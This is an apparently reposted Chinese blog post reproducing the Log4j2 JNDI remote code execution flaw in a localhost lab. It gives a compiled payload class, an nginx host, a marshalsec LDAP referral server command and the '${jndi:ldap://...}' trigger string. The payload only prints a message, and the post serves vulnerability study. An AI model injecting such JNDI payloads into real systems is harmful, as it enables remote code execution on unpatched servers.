我是靠谱客的博主 虚心小猫咪,最近开发中收集的这篇文章主要介绍Log4j2漏洞复现Log4j2漏洞复现,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

Log4j2漏洞复现

一、前言

最近Log4j2的漏洞算是刷屏了。博主也就跟风学习了一下,虽不说开发能力有啥提升,但是也算是学了点知识吧。这次就分享一下Log4j2漏洞的复现场景,以供大家参考。

二、参考文章

  • Apache Log4j2远程代码执行漏洞
    本文的示例也都是按照这里面敲的,文章还有很多大佬评论大家可以多看看

三、漏洞触发流程图

这里使用LDAP服务进行演示
在这里插入图片描述
解释:Web服务为受害者对象,LDAP和HTTP服务为攻击者对象。

一句话概括:攻击者利用log4j2的JNDI技术发送恶意请求,使受害者获取自己的恶意字节码文件并执行。

四、代码复现

  1. 书写一个恶意字节码文件并用Javac进行编译
public class Log4jRCE {
    static {
        System.out.println("I am Log4jRCE from remote!!!");
    }
}
javac Log4jRCE.java

获得这个字节码文件
在这里插入图片描述

  1. 启动nginx并把class文件放入nginx的html文件夹,可以通过http://ip:port/file.class进行获取
start nginx

浏览器数据http://127.0.0.1:8000/Log4jRCE.class可以获取该字节码文件

  1. 启动LDAP服务器,暴漏这个字节码文件
git clone git@github.com:bkfish/Apache-Log4j-Learning.git
cd Apache-Log4j-Learning/tools
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Log4jRCE"
  1. 模拟一个server执行log.error()观察运行结果
    写一个RunApp.class
public class RunApp {

    private static final Logger logger = LogManager.getLogger(BugCode.class);

    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        logger.error("${jndi:ldap://127.0.0.1:1389/Log4jRCE}");
    }

}

启动结果为
在这里插入图片描述
会发现有一个“I am Log4jRCE from remote!!!”就是远程class文件的逻辑

最后

以上就是虚心小猫咪为你收集整理的Log4j2漏洞复现Log4j2漏洞复现的全部内容,希望文章能够帮你解决Log4j2漏洞复现Log4j2漏洞复现所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(42)

评论列表共有 0 条评论

立即
投稿
返回
顶部